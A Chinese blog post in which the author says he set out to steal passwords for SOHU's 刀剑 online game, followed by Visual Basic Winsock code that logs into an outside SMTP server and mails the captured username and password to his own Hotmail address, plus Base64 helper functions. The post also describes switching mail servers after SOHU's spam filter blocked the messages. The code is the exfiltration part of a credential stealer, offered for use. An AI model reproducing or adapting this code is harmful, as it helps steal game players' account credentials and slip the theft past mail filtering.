WINSOCK发送简单邮件心得

最新推荐文章于 2021-11-10 13:08:02 发布

ZOU_SEAFARER

最新推荐文章于 2021-11-10 13:08:02 发布

阅读量2.8k

点赞数

CC 4.0 BY-SA版权

文章标签： string function arrays email 邮件服务器 date

本文链接：https://blog.youkuaiyun.com/ZOU_SEAFARER/article/details/2037881

本文介绍了一种通过SMTP服务器发送带有游戏密码等信息的电子邮件的方法。在遇到SOHU公司的邮件拦截问题后，作者更换了SMTP服务器，并详细记录了使用Visual Basic进行邮件发送的具体步骤。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

本来的目的是窃取SOHU公司的刀剑游戏密码的。其中用到通过电子邮件传递用户和密码，以及游戏区

经过不断地查找资料，最后发送邮件的时候。sohu公司把我的电子邮件当作垃圾邮件被拦截下来，为了这个怎么解决问题，我不知道找了多少时间，最后没有办法，我换一个SMTP服务器，换上21CN的邮件服务器，赫赫h，竟然好用了！NND

函数：

'Send Information by Email
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
    Dim str As String
    Static bytSendFlag As Byte
    Winsock1.GetData str
    'Debug.Print str
    Select Case Left$(str, 3)
        Case 220 'Hello Information
            Winsock1.SendData ("HELO Yongjun" + vbCrLf)
            bytSendFlag = 1
        Case 250
        Select Case bytSendFlag
            Case 1 'Auto
                Winsock1.SendData ("AUTH LOGIN" + vbCrLf)
                DoEvents
                bytSendFlag = bytSendFlag + 1
            Case 5 'To Email
                Winsock1.SendData ("rcpt to:" + Chr$(32) + "zou_seafarer@hotmail.com" + vbCrLf)
                bytSendFlag = bytSendFlag + 1
                DoEvents
            Case 6 'data information
                Winsock1.SendData ("data" + vbCrLf)
                bytSendFlag = bytSendFlag + 1
                DoEvents
            Case 8 'Close Connect
                Winsock1.SendData ("quit" + vbCrLf)
                Winsock1.Close
                DoEvents

End Select

        Case 334
            Select Case bytSendFlag
                Case 2 'Name of User
                    Winsock1.SendData (BaseEncode64("zouseafarer") + vbCrLf)
                    bytSendFlag = bytSendFlag + 1
                    DoEvents
                Case 3 'Password of User
                    Winsock1.SendData (BaseEncode64("xxxxxxxx") + vbCrLf)
                    bytSendFlag = bytSendFlag + 1
                    DoEvents
            End Select
        Case 235
            If bytSendFlag = 4 Then 'From E-mail
                Winsock1.SendData ("mail from:" + Chr$(32) + "zouseafarer@21cn.com" + vbCrLf)
                bytSendFlag = bytSendFlag + 1
                DoEvents
            End If

        Case 354
'            If bytSendFlag = 7 Then
'                Winsock1.SendData ("X-Mailer:   EBT   Reporter   v   2.x" + vbCrLf)
'                bytSendFlag = bytSendFlag + 1
'                DoEvents
'            End If

            If bytSendFlag = 7 Then 'Information of Email ,this mail is blocked by kbas system,blockid=192.168.41.217.25648.1199861029
                Winsock1.SendData ("Date:" + Chr$(32) + Format$(Date, "ddd") & "," & Format$(Date, "dd Mmm YYYY") & "" & Format$(Now, "hh:mm:ss") & "" & "+0800" + vbCrLf)
                DoEvents
                Winsock1.SendData ("From:" + Chr$(32) + "yongjun-zou" + vbCrLf)
                DoEvents
                Winsock1.SendData ("X-Mailer: vbemailsender" + vbCrLf)
                DoEvents
                Winsock1.SendData ("To:" + Chr$(32) + "zou_yongjun" + vbCrLf)
                DoEvents
                Winsock1.SendData ("Subject:" + Chr$(32) + strTital + vbCrLf)
                DoEvents
                Winsock1.SendData (strUserName & strPassWord + vbCrLf)
                DoEvents
                Winsock1.SendData ("." + vbCrLf)
                DoEvents
                bytSendFlag = bytSendFlag + 1
                End If
    End Select

End Sub
Private Sub EmailConnect()
    If Winsock1.State <> 0 Then
        Winsock1.Close
    End If
    Winsock1.Protocol = sckTCPProtocol 'Set TCP
    Winsock1.RemoteHost = "smtp.21cn.com" 'name of server
    Winsock1.RemotePort = 25 'remotePort
    'Winsock1.LocalPort = 5001 'Local Port
    Winsock1.Connect
    DoEvents
End Sub

Option Explicit
'-------------------------------------------------
'ｺｯﾊｹｦﾄﾜ｣ｺﾎﾄﾗﾖｼﾓﾃﾜｽ篥ﾜBase64ﾋ羚ｨ
'ｼﾓﾃﾜｺｯﾊ｣ｺbase64Encode(str)   as   String
'ｽ篥ﾜｺｯﾊ｣ｺbase64Decode(str)   as   String
'-------------------------------------------------

Const BASE_64_MAP_INIT = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
Dim nl
'zero   based   arrays
Dim Base64EncMap(63)
Dim Base64DecMap(127)

'   must   be   called   before   using   anything   else
Public Sub initCodecs()
      '   init   vars
      nl = "<P>" & Chr(13) & Chr(10)
      '   setup   base   64
      Dim Max    As Long
      Dim idx       As Long
      Max = Len(BASE_64_MAP_INIT)
      For idx = 0 To Max - 1
          '   one   based   string
          Base64EncMap(idx) = Mid(BASE_64_MAP_INIT, idx + 1, 1)
      Next
      For idx = 0 To Max - 1
          Base64DecMap(Asc(Base64EncMap(idx))) = idx
      Next
End Sub

'encode   base   64   encoded   string
Public Function BaseEncode64(plain As String) As String
    '   initialize
    Call initCodecs
    If Len(plain) = 0 Then
        BaseEncode64 = ""
        Exit Function
    End If
    Dim ret, ndx, by3, first, second, third
    by3 = (Len(plain) / 3) * 3
    ndx = 1
    Do While ndx <= by3
        first = Asc(Mid$(plain, ndx + 0, 1))
        second = Asc(Mid$(plain, ndx + 1, 1))
        third = Asc(Mid$(plain, ndx + 2, 1))
        ret = ret & Base64EncMap((first / 4) And 63)
        ret = ret & Base64EncMap(((first * 16) And 48) + ((second / 16) And 15))
        ret = ret & Base64EncMap(((second * 4) And 60) + ((third / 64) And 3))
        ret = ret & Base64EncMap(third And 63)
        ndx = ndx + 3
    Loop
    '   check   for   stragglers
    If by3 < Len(plain) Then
        first = Asc(Mid$(plain, ndx + 0, 1))
        ret = ret & Base64EncMap((first / 4) And 63)
        If (Len(plain) Mod 3) = 2 Then
            second = Asc(Mid$(plain, ndx + 1, 1))
            ret = ret & Base64EncMap(((first * 16) And 48) + ((second / 16) And 15))
            ret = ret & Base64EncMap(((second * 4) And 60))
        Else
            ret = ret & Base64EncMap((first * 16) And 48)
            ret = ret & "="
        End If
        ret = ret & "="
    End If
    BaseEncode64 = ret
End Function

'   decode   base   64   encoded   string
Public Function base64Decode(scrambled)
    If Len(scrambled) = 0 Then
        base64Decode = ""
        Exit Function
    End If
    '   ignore   padding
    Dim realLen
    realLen = Len(scrambled)
    Do While Mid$(scrambled, realLen, 1) = "="
        realLen = realLen - 1
    Loop
    Dim ret, ndx, by4, first, second, third, fourth
    ret = ""
    by4 = (realLen / 4) * 4
    ndx = 1
    Do While ndx <= by4
        first = Base64DecMap(Asc(Mid$(scrambled, ndx + 0, 1)))
        second = Base64DecMap(Asc(Mid$(scrambled, ndx + 1, 1)))
        third = Base64DecMap(Asc(Mid$(scrambled, ndx + 2, 1)))
        fourth = Base64DecMap(Asc(Mid$(scrambled, ndx + 3, 1)))
        ret = ret & Chr$(((first * 4) And 255) + ((second / 16) And 3))
        ret = ret & Chr$(((second * 16) And 255) + ((third / 4) And 15))
        ret = ret & Chr$(((third * 64) And 255) + (fourth And 63))
        ndx = ndx + 4
    Loop
    '   check   for   stragglers,   will   be   2   or   3   characters
    If ndx < realLen Then
        first = Base64DecMap(Asc(Mid$(scrambled, ndx + 0, 1)))
        second = Base64DecMap(Asc(Mid$(scrambled, ndx + 1, 1)))
        ret = ret & Chr$(((first * 4) And 255) + ((second / 16) And 3))
        If realLen Mod 4 = 3 Then
            third = Base64DecMap(Asc(Mid$(scrambled, ndx + 2, 1)))
            ret = ret & Chr$(((second * 16) And 255) + ((third / 4) And 15))
        End If
    End If
    base64Decode = ret
End Function